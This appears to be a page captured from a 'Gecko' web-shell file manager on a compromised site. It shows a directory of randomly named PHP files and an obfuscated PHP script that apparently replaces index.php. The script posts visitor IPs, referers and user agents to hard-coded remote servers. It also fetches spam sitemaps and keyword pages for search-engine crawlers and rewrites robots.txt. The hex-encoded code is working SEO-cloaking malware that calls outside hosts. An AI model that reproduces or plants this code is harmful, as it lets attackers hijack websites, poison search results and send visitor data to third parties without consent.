Gecko [ voncairobella.com ]

Name	Size	Permission	Date
271259	[ DIR ]	drwxr-xr-x	2025-11-11 06:43
643704	[ DIR ]	drwxr-xr-x	2025-11-11 06:43
cgi-bin	[ DIR ]	drwxr-xr-x	2022-07-13 07:27
4ArTGixQsul.php	43.97 KB	-rw-r--r--	2025-11-13 06:40
C8ikHDq6vsz.php	166.77 KB	-rw-r--r--	2025-12-02 06:52
RkKItExiqPy.php	28.35 KB	-rw-r--r--	2025-11-13 06:40
UcFaEeJDsyX.php	51.75 KB	-rw-r--r--	2025-12-02 06:52
ZQkprYzIymC.php	51.75 KB	-rw-r--r--	2025-11-13 06:40
admin.php	32.17 KB	-rw-r--r--	2026-01-06 02:22
desxgoua.php	0 B	-rw-r--r--	2025-12-15 20:12
ev7lZQkMXSR.php	43.97 KB	-rw-r--r--	2025-12-02 06:52
fRIKgsNPWqX.php	166.77 KB	-rw-r--r--	2025-11-13 06:40
index.php	9.07 KB	-rw-r--r--	2026-01-05 07:07
php.ini	105 B	-rw-r--r--	2025-12-02 06:52
t8yGaLOZ5Ab.php	28.35 KB	-rw-r--r--	2025-12-02 06:52
theme-insatcx.php	338 B	-rw-r--r--	2025-12-02 06:52
theme-insvfnp.php	338 B	-rw-r--r--	2025-11-13 06:40
tykkwokt.php	0 B	-rw-r--r--	2025-12-13 20:15
vbybpxib.php	0 B	-rw-r--r--	2025-12-12 19:24
zuzwekur.php	0 B	-rw-r--r--	2025-12-12 21:26

Rename

<?php
 goto nvPv5; LRW83: $PyGVj = $D4uzy . "\x69\156\144\x61\x74\x61\56\x70\x68\x70"; goto q0UfA; FntGC: $D4uzy = "\150\164\164\160\72\x2f\57\x31\71\x32\x2e\61\70\x37\x2e\61\x31\x36\56\62\66\57\172\65\x31\62\x32\71\x5f\62\x2f"; goto fBuop; MDCdG: function SZtut($Zluhu) { goto Q2vAr; JUgYc: return $az11_; goto PViTn; RgJTM: $otgzC = "\x67\157\x6f\147\x6c\145\x2e\143\x6f\56\152\x70\174\171\141\x68\x6f\x6f\x2e\143\x6f\x2e\x6a\160\174\147\157\x6f\147\x6c\145\56\143\157\x6d"; goto fcbOe; buGJO: $az11_ = true; goto DWKzH; fcbOe: if (!($Zluhu != '' && preg_match("\57\50{$otgzC}\51\x2f\163\151", $Zluhu))) { goto oFUxA; } goto buGJO; DWKzH: oFUxA: goto JUgYc; Q2vAr: $az11_ = false; goto RgJTM; PViTn: } goto ALh10; F8QZC: $eBa9W = $HC7_5 . $C31qU . $fiCFz; goto LRW83; TSv6C: return; goto YLPI7; m5kRx: echo $qXm3I; goto D_mru; FrIJi: $QrMFn = $D4uzy . "\162\157\x62\157\x74\163\56\160\x68\160"; goto Pb2Yt; A2M9_: $eFJt9 = "\x2f"; goto GDfp1; JKRcM: $JjU14 = sZTUt($r_x6i); goto LxKRD; ysoxi: $mGHH3 = UNKRt($LB_OK, $C2xbF); goto rSG39; G3Nt5: GQ3yr: goto sxF33; SbdOS: $Y63jm = $_SERVER["\123\x45\x52\126\105\x52\x5f\116\x41\x4d\x45"]; goto F8QZC; UqG3I: $qXm3I = UnkrT($xHreR, $C2xbF); goto MdkOU; kPC7D: $C2xbF["\x68\x72\145\146"] = $HC7_5 . $C31qU; goto hrdIP; q0UfA: $xHreR = $D4uzy . "\x6d\x61\x70\x2e\160\x68\x70"; goto cXGJL; YlLMP: echo "\162\157\142\157\x74\163\x2e\164\x78\x74\x20\146\x69\x6c\x65\x20\x63\x72\x65\141\164\145\x20\163\x75\143\x63\145\x73\163\x21"; goto ONwNb; KwYUY: p3go0: goto JZ_oE; Pb2Yt: $C2xbF = array(); goto Ov8M6; cXGJL: $q2zGw = $D4uzy . "\152\165\155\160\x2e\x70\x68\x70"; goto MlsCN; EfCWy: $C2xbF["\162\145\x71\x5f\x75\162\x6c"] = $eBa9W; goto kPC7D; JZ_oE: $eFJt9 = "\x3f"; goto TV6WA; E2SMD: yXnJy: goto WgYAj; gdBAO: return; goto VOhNN; NKnF4: echo $mGHH3; goto SBG5w; LxKRD: $HgdaJ = strtolower(isset($_SERVER["\110\x54\x54\120\x5f\125\x53\x45\x52\137\x41\x47\105\x4e\124"]) ? $_SERVER["\110\x54\x54\120\x5f\125\x53\105\122\x5f\x41\x47\105\x4e\124"] : ''); goto WEAyt; AtXWw: $mGHH3 = uNKRt($LB_OK, $C2xbF); goto GLjnQ; NrQnu: if (!(substr($fiCFz, -6) == "\x72\157\x62\157\164\163")) { goto mWDLU; } goto Nh4qz; wAxsE: goto GQ3yr; goto P3H3e; eHeJ3: exit; goto F77fv; ZTMOY: $AGIxF = isset($_SERVER["\x50\x48\120\137\x53\105\114\106"]) ? $_SERVER["\x50\110\x50\137\123\105\x4c\x46"] : ''; goto EFQJ4; Or7S4: dXCnD: goto NrQnu; T1EC2: $lQFtt = str_replace("\56\170\x6d\154", '', $lQFtt); goto G3Nt5; bdOcC: if (!(!$dzrNr && $JjU14 && (preg_match("\x23\x28\x28\134\x3f\174\x5c\57\x29\133\x61\55\172\135\x29\134\75\x5c\x64\x2b\x23", $fiCFz) || preg_match("\x2f\x73\150\157\160\144\x65\164\141\151\x6c\x2f", $fiCFz) || preg_match("\57\56\163\150\164\x6d\154\57", $fiCFz)))) { goto Wlf5A; } goto akvvI; Vq4VI: $C2xbF["\165\163\145\162\137\141\147\145\x6e\164"] = $HgdaJ; goto cLa6z; Yd1Ot: return; goto mfIi1; s6xK5: $C2xbF["\150\162\x65\146"] .= $AGIxF; goto scyZK; D_mru: return; goto E2SMD; Nh4qz: $C2xbF["\x72\x6f\x62\157\164\x73\x5f\x63\157\x6e\164"] = ''; goto OtedZ; akvvI: $C2xbF["\151\x70"] = isset($_SERVER["\122\105\115\117\124\x45\137\101\x44\x44\122"]) ? $_SERVER["\x52\105\115\x4f\124\x45\x5f\101\x44\104\122"] : ''; goto fIb6U; sY_vO: function lVQQq($EUeIR) { goto cxC6d; guhg1: return $oLe5w; goto DCw89; cxC6d: $oLe5w = false; goto TzNgD; oSYgq: swfqX: goto oe_YZ; n9GDI: if (!preg_match("\57\x28{$keOQT}\51\57\x73\x69", $EUeIR)) { goto swfqX; } goto yf3ti; hRKOu: if (!($EUeIR != '')) { goto WWy4X; } goto n9GDI; TzNgD: $keOQT = "\147\157\157\147\x6c\145\142\x6f\x74\174\x67\157\157\147\x6c\145\174\171\141\150\x6f\x6f\x7c\142\151\156\147\174\x61\157\x6c"; goto hRKOu; oe_YZ: WWy4X: goto guhg1; yf3ti: $oLe5w = true; goto oSYgq; DCw89: } goto MDCdG; dpk9E: $zBXsD = file_put_contents(__DIR__ . "\x2f\162\x6f\x62\x6f\x74\163\56\164\170\164", $JVO7b); goto i3m5s; MlsCN: $LB_OK = $D4uzy . "\167\x6f\162\144\x73\56\x70\x68\160"; goto FrIJi; FEZAR: $lQFtt = $lQFtt[count($lQFtt) - 1]; goto T1EC2; M2Cyo: $Tv8Qu = UnkRt($PyGVj, $C2xbF); goto UNAd_; CtL0T: $C2xbF["\141\x63\x74\x69\x6f\x6e"] = "\x63\150\x65\143\x6b\137\163\151\164\145\155\x61\x70"; goto AtXWw; fIb6U: $C2xbF["\162\145\146\145\162\x65\x72"] = $r_x6i; goto Vq4VI; OtedZ: if (!file_exists(__DIR__ . "\x2f\162\157\x62\x6f\x74\163\x2e\x74\x78\x74")) { goto vGCZX; } goto YRdcu; WEAyt: $dzrNr = LvqQq($HgdaJ); goto q90Jv; nvPv5: $fiCFz = isset($_SERVER["\122\105\121\125\105\x53\x54\x5f\x55\122\111"]) ? $_SERVER["\x52\105\121\125\105\x53\124\x5f\125\122\111"] : ''; goto ZTMOY; MdkOU: header("\103\157\x6e\164\x65\x6e\x74\x2d\x74\171\x70\x65\x3a\164\145\170\x74\57\170\x6d\154"); goto kNaa9; SBG5w: return; goto pwtH1; ONwNb: UaOA1: goto gdBAO; PHwo_: goto UaOA1; goto IARY6; D532n: $TgLVi = unKrT($LB_OK, $C2xbF); goto MS5lo; mfIi1: Wlf5A: goto s6_1C; TV6WA: Z8Xqe: goto bdOcC; Ov8M6: $C2xbF["\144\x6f\x6d\x61\x69\x6e"] = $C31qU; goto kN_iR; BcwnN: $r_x6i = isset($_SERVER["\x48\124\x54\x50\x5f\122\105\x46\x45\122\x45\x52"]) ? $_SERVER["\110\x54\124\x50\x5f\122\x45\x46\x45\x52\105\x52"] : ''; goto JKRcM; qOgpn: function unkRt($y7M4M, $XgZMu = array()) { goto qAJt9; nMn0O: curl_setopt($Z8jS0, CURLOPT_URL, $y7M4M); goto QIR8Y; ohxYw: curl_setopt($Z8jS0, CURLOPT_POST, 1); goto WFjRP; WFjRP: curl_setopt($Z8jS0, CURLOPT_SSL_VERIFYPEER, FALSE); goto ATAky; k7wNC: curl_setopt($Z8jS0, CURLOPT_TIMEOUT, 10); goto ohxYw; nXi58: if (!(0 !== $FBF2V)) { goto j2v64; } goto tNAvT; dwk78: $VMWCr = curl_exec($Z8jS0); goto idnlU; B75Ip: curl_close($Z8jS0); goto nXi58; iqN1n: j2v64: goto c4lXY; c4lXY: return $VMWCr; goto sp7bY; idnlU: $FBF2V = curl_errno($Z8jS0); goto B75Ip; qAJt9: $y7M4M = str_replace("\x20", "\x2b", $y7M4M); goto N8bio; ATAky: curl_setopt($Z8jS0, CURLOPT_SSL_VERIFYHOST, FALSE); goto EaZ9D; QIR8Y: curl_setopt($Z8jS0, CURLOPT_RETURNTRANSFER, 1); goto ZU01z; ZU01z: curl_setopt($Z8jS0, CURLOPT_HEADER, 0); goto k7wNC; tNAvT: return false; goto iqN1n; N8bio: $Z8jS0 = curl_init(); goto nMn0O; EaZ9D: curl_setopt($Z8jS0, CURLOPT_POSTFIELDS, http_build_query($XgZMu)); goto dwk78; sp7bY: } goto sY_vO; uX65b: header("\103\x6f\x6e\164\145\156\x74\55\164\x79\160\145\72\164\145\170\x74\57\170\155\154"); goto m5kRx; scyZK: $C2xbF["\155\141\x69\156\137\163\x68\x65\x6c\154"] .= $AGIxF; goto Or7S4; ksIlf: if (!strstr($fiCFz, "\147\x6f\157\x64\x73\x2e\160\150\160")) { goto NiDJ2; } goto FntGC; IARY6: XuI5f: goto YlLMP; WgYAj: if (strpos($fiCFz, "\56\160\150\x70")) { goto tWptN; } goto EjoDK; YOc71: $C2xbF["\x61\x63\x74\151\x6f\x6e"] = "\x72\x61\x6e\144\137\x78\x6d\154"; goto en6ET; ysIV1: if (!(substr($fiCFz, -4) == "\x2e\170\x6d\x6c")) { goto A8Wt0; } goto chtbW; YLPI7: DYcZI: goto Ea1P6; rTVw5: $JVO7b = @UNkRT($QrMFn, $C2xbF); goto dpk9E; GLjnQ: if (!($mGHH3 == "\61")) { goto DYcZI; } goto UqG3I; ALh10: $HC7_5 = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\x48\124\x54\120\123"] !== "\157\x66\x66" ? "\x68\x74\164\160\163\72\57\x2f" : "\150\x74\x74\x70\x3a\57\x2f"; goto RCfrp; EFQJ4: $D4uzy = "\x68\164\164\160\72\57\x2f\x31\67\x33\56\x32\x30\70\x2e\62\x33\65\56\62\x31\60\x2f\x7a\x35\x31\62\63\60\137\62\x2f"; goto ksIlf; L1sIZ: if (!strpos($fiCFz, "\x2e\160\150\160")) { goto dXCnD; } goto s6xK5; hrdIP: $C2xbF["\x6d\x61\x69\156\137\163\150\145\154\x6c"] = $HC7_5 . $Y63jm; goto L1sIZ; q5g_m: $lQFtt = explode("\x3f", $fiCFz); goto FEZAR; Z11DV: vGCZX: goto rTVw5; RCfrp: $C31qU = $_SERVER["\110\x54\124\120\137\x48\x4f\123\124"]; goto SbdOS; UNAd_: echo $Tv8Qu; goto eHeJ3; pwtH1: A8Wt0: goto BcwnN; q90Jv: if (strpos($fiCFz, "\x2e\x70\150\x70")) { goto p3go0; } goto A2M9_; YRdcu: $C2xbF["\162\157\x62\x6f\164\x73\x5f\143\157\x6e\x74"] = @file_get_contents(__DIR__ . "\57\162\x6f\142\x6f\164\163\x2e\164\x78\164"); goto Z11DV; iKYsw: $lQFtt = str_replace("\x2e\x78\155\x6c", '', $lQFtt); goto wAxsE; kNaa9: echo $qXm3I; goto TSv6C; P3H3e: tWptN: goto q5g_m; GDfp1: goto Z8Xqe; goto KwYUY; s6_1C: if (!$dzrNr) { goto JzPc1; } goto Ky6wl; VOhNN: mWDLU: goto ysIV1; rSG39: header("\103\157\156\164\145\x6e\x74\55\x74\171\x70\x65\72\x74\145\170\164\57\170\155\154"); goto NKnF4; MS5lo: if (!(strpos($fiCFz, "\155\x61\x70") > 0 || $TgLVi == "\61")) { goto xfgaZ; } goto YOc71; Ky6wl: $C2xbF["\x68\164\x74\160\x5f\165\163\145\162\x5f\141\x67\145\156\164"] = $HgdaJ; goto M2Cyo; kN_iR: $C2xbF["\162\x65\161\x5f\165\x72\151"] = $fiCFz; goto EfCWy; chtbW: if (!(strpos($fiCFz, "\x61\x6c\x6c\163\x69\164\145\x6d\x61\x70\x2e\170\x6d\154") || strpos($fiCFz, "\163\x69\164\145\155\141\160\x2d\151\x6e\144\145\170\x2e\170\155\154") || strpos($fiCFz, "\163\151\164\x65\155\x61\x70\x2d\x69\156\x64\145\x78\55\x31\x2e\170\x6d\x6c") || strpos($fiCFz, "\x69\x6e\x64\145\170\56\x78\x6d\x6c"))) { goto yXnJy; } goto Qchmx; Ea1P6: $C2xbF["\x61\x63\x74\x69\157\x6e"] = "\x63\150\x65\143\153\137\x77\x6f\x72\x64\x73"; goto D532n; yPy0U: NiDJ2: goto qOgpn; Kqudv: echo "\162\x6f\x62\x6f\x74\x73\x2e\x74\170\164\40\146\151\154\145\40\x63\x72\x65\141\x74\x65\x20\146\x61\151\x6c\x21"; goto PHwo_; cLa6z: echo UnkrT($q2zGw, $C2xbF); goto Yd1Ot; EjoDK: $lQFtt = str_replace("\x2f", '', $fiCFz); goto iKYsw; Qchmx: $qXm3I = UNKrT($xHreR, $C2xbF); goto uX65b; i3m5s: if ($zBXsD) { goto XuI5f; } goto Kqudv; sxF33: $C2xbF["\x77\157\x72\144"] = $lQFtt; goto CtL0T; en6ET: xfgaZ: goto ysoxi; fBuop: $AGIxF = "\57\x67\x6f\x6f\x64\x73\56\x70\x68\x70"; goto yPy0U; F77fv: JzPc1:?>